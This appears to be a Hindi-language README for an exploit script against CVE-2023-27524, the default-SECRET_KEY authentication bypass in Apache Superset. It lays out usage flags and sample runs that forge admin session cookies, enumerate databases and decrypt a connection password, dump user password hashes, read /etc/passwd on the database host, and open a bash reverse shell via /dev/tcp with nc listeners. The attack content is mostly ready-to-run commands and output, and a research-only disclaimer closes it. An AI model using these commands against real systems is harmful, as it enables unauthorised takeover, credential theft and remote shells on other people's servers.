
CVE-2023-27524 के लिए एक्सप्लॉइट जो Apache Superset प्रमाणीकरण बायपास और RCE को लक्षित करता है। सत्र कुकीज़ बनाता है, डेटाबेस/उपयोगकर्ताओं की सूची बनाता है, OS कमांड निष्पादित करता है, और कमजोर इंस्टेंस पर रिवर्स शेल खोलता है।
Apache Superset, डेटा विज़ुअलाइज़ेशन और अन्वेषण के लिए व्यापक रूप से उपयोग किया जाने वाला एक ओपन-सोर्स टूल, में संभावित सुरक्षा कमज़ोरियाँ पाई गई हैं जो प्रमाणीकरण बाइपास और दूरस्थ कोड निष्पादन (RCE) का कारण बन सकती हैं। ये कमज़ोरियाँ दुर्भावनापूर्ण अभिकर्ताओं को लक्षित सर्वरों पर प्रशासनिक विशेषाधिकार प्राप्त करने में सक्षम बना सकती हैं, जिससे वे उपयोगकर्ता क्रेडेंशियल एकत्र कर सकते हैं और संभावित रूप से डेटा से समझौता कर सकते हैं।
प्रश्न में विशिष्ट सुरक्षा मुद्दा एक असुरक्षित डिफ़ॉल्ट कॉन्फ़िगरेशन भेद्यता है जिसे CVE-2023-27524 कहा जाता है।
मूल कारण इंस्टॉलेशन के दौरान सेट किए गए अनुमानित Flask Secret Key में निहित है, जो बड़ी संख्या में उजागर Apache Superset इंस्टेंस को प्रभावित करता है। हालांकि कुछ शमन प्रयास किए गए हैं, यह भेद्यता उन लोगों के लिए एक गंभीर चिंता बनी हुई है जिन्होंने अपने कॉन्फ़िगरेशन को अपडेट नहीं किया है।
इस मुद्दे को RCE तक बढ़ाया जा सकता है। यह एक्सप्लॉइट मूल एक्सप्लॉइट में यह कार्यक्षमता जोड़ता है।
आधिकारिक भेद्यता विवरण:
Apache Superset संस्करण 2.0.1 तक के संस्करणों में सत्र सत्यापन हमले। जिन इंस्टॉलेशनों ने इंस्टॉलेशन निर्देशों के अनुसार डिफ़ॉल्ट कॉन्फ़िगर किए गए SECRET_KEY को नहीं बदला है, वे एक हमलावर को प्रमाणित करने और अनधिकृत संसाधनों तक पहुँचने की अनुमति देते हैं। यह उन Superset प्रशासकों को प्रभावित नहीं करता जिन्होंने SECRET_KEY कॉन्फ़िग के डिफ़ॉल्ट मान को बदल दिया है।
यह एक्सप्लॉइट स्क्रिप्ट vsociety पर CVE विश्लेषण के लिए लिखी गई है।
PIP पैकेज इंस्टॉल करें:
pip3 install -r requirements.txt
उपयोग:
usage: exploit.py [-h] --url URL [--id ID] [--wordlist WORDLIST] [--validate] [--enum-dbs] [--enum-users] [--cmd CMD]
[--revshell REVSHELL] [--db-host]
options:
-h, --help यह सहायता संदेश दिखाएँ और बाहर निकलें
--url URL, -u URL होस्ट URL
--id ID सत्र कुकी बनाने के लिए उपयोगकर्ता आईडी। डिफ़ॉल्ट=1
--wordlist WORDLIST, -w WORDLIST
वर्डलिस्ट फ़ाइल निर्दिष्ट करें (डिफ़ॉल्ट 10.txt है)
--validate, -v लॉगिन प्रयास द्वारा भेद्यता की उपस्थिति मान्य करें
--enum-dbs, -dbs डेटाबेस की गणना करें
--enum-users, -eu डेटाबेस की गणना करें
--cmd CMD, -c CMD डेटाबेस के सर्वर पर कस्टम OS कमांड चलाएँ
--revshell REVSHELL रिवर्स शेल के लिए IP:Port निर्दिष्ट करें
--db-host डेटाबेस सर्वर पर कमांड चलाएँ या रिवर्स शेल खोलें
# python3 exploit.py --url http://localhost:8088 -v -w 10k_most_common_passwords.txt
[+] Session cookie found.
[+] Decoded session cookie: <REDACTED>
[+] Using '10k_most_common_passwords.txt' as a wordlist.
[+] Superset instance is VULNERABLE to CVE-2023-27524.
[+] Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
[+] Forged session cookie for user 1: <REDACTED>
[+] Superset Version: 2.0.1
[+] Login successful. Vulnerability is validated.
# python3 exploit.py -u http://localhost:8088 --enum-dbs
[+] Session cookie found.
[+] Decoded session cookie:
{'csrf_token': '5d4c9ad6caf94bc1c652b0fc8e8739d19c45c05a', 'locale': 'en'}
[+] Using default secret keys.
[+] Superset instance is VULNERABLE to CVE-2023-27524.
[+] Secret key found: "b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'"
[+] Forged session cookie for user 1:
eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZPsQ6Q.nKTBZiUq-Cu0iWSLQIUtB2W9HnM
[+] Version 2.0.1 seems vulnerable.
[+] Enumerating databases via API...
[+] Found database: "examples" with password "superset".
[+] Found database: "SQLite".
[+] Enumerating database connection data and cracking password if possible...
+-----------------+---------------------------------------------------+--------------------------+----------------------+
| database_name | sqlalchemy_uri | password | decrypted_password |
|-----------------+---------------------------------------------------+--------------------------+----------------------|
| examples | postgresql://superset:XXXXXXXXXX@db:5432/superset | MAqp6AIikZpDM5bMH4MMgA== | superset******** |
| SQLite | sqlite+pysqlite:////app/superset_home/superset.db | | |
+-----------------+---------------------------------------------------+--------------------------+----------------------+
[+] Process of enumerating databases finished.
# python3 exploit.py -u http://localhost:8088 --enum-users
[+] Session cookie found.
[+] Decoded session cookie:
{'csrf_token': '2a3adb09bac36c330a77c74da1cca27c431779e8', 'locale': 'en'}
[+] Using default secret keys.
[+] Superset instance is VULNERABLE to CVE-2023-27524.
[+] Secret key found: "b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'"
[+] Forged session cookie for user 1:
eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZPsRCQ.qeci7JgO5Lb4AwexB0Qojp5RDbs
[+] Version 2.0.1 seems vulnerable.
[+] Checking existing metadata database connection...
[+] Settings of database with id 1 were successfully modified.
[+] Settings of database with id 2 were successfully modified.
[+] Superset metadata connection is already added with id 2.
[+] Trying to enumerate Superset users...
[+] RESULT:
+------------+--------------------------------------------------------------------------------------------------------+
| username | password |
|------------+--------------------------------------------------------------------------------------------------------|
| admin | pbkdf2:sha256:260000$z5y5YnluWzyx4kd2$33c40dfefdea9aedef6ed171a941492516ba49c1ed8ed740d7e05446ce639c0e |
+------------+--------------------------------------------------------------------------------------------------------+
Superset सर्वर पर:
# python3 exploit.py --url http://localhost:8088 --cmd 'bash -i >& /dev/tcp/<IP>/4242 0>&1'
ध्यान दें कि इस स्थिति में आउटपुट अभी तक नहीं देखा जा सकता।
DB सर्वर पर:
# python3 exploit.py -u http://localhost:8088 --cmd 'cat /etc/passwd' --db-host
[+] Session cookie found.
[+] Decoded session cookie:
{'csrf_token': 'c2154d7077f507bd69c791f9d6de49115ba290a3', 'locale': 'en'}
[+] Using default secret keys.
[+] Superset instance is VULNERABLE to CVE-2023-27524.
[+] Secret key found: "b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'"
[+] Forged session cookie for user 1:
eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZPsRMw.haTjE2XBuVjamMvsdg7SemBr3Ig
[+] Version 2.0.1 seems vulnerable.
[+] Trying to run command on the database server...
[+] Settings of database with id 1 were successfully modified.
[+] $ cat /etc/passwd
+-----------------------------------------------------------------------------------+
| cmd_output |
|-----------------------------------------------------------------------------------|
| root:x:0:0:root:/root:/bin/bash |
| daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin |
| <REDACTED> |
| postgres:x:999:999::/var/lib/postgresql:/bin/bash |
+-----------------------------------------------------------------------------------+
Superset सर्वर पर:
# Terminal 1
nc -lvnp [PORT]
# Terminal 2
python3 exploit.py -u http://localhost:8088 --revshell [IP]:[PORT]
DB सर्वर पर:
# Terminal 1
nc -lvnp [PORT]
# Terminal 2
python3 exploit.py -u http://localhost:8088 --revshell [IP]:[PORT] --db-host
यह एक्सप्लॉइट स्क्रिप्ट केवल अनुसंधान और प्रभावी रक्षात्मक तकनीकों के विकास के उद्देश्यों के लिए बनाई गई है। इसका उपयोग किसी भी दुर्भावनापूर्ण या अनधिकृत गतिविधियों के लिए नहीं किया जाना है। स्क्रिप्ट के लेखक और मालिक इस सॉफ़्टवेयर के किसी भी दुरुपयोग या क्षति के लिए कोई जिम्मेदारी या दायित्व अस्वीकार करते हैं। उपयोगकर्ताओं से आग्रह किया जाता है कि वे इस सॉफ़्टवेयर का जिम्मेदारी से और केवल लागू कानूनों और विनियमों के अनुसार उपयोग करें। जिम्मेदारी से उपयोग करें।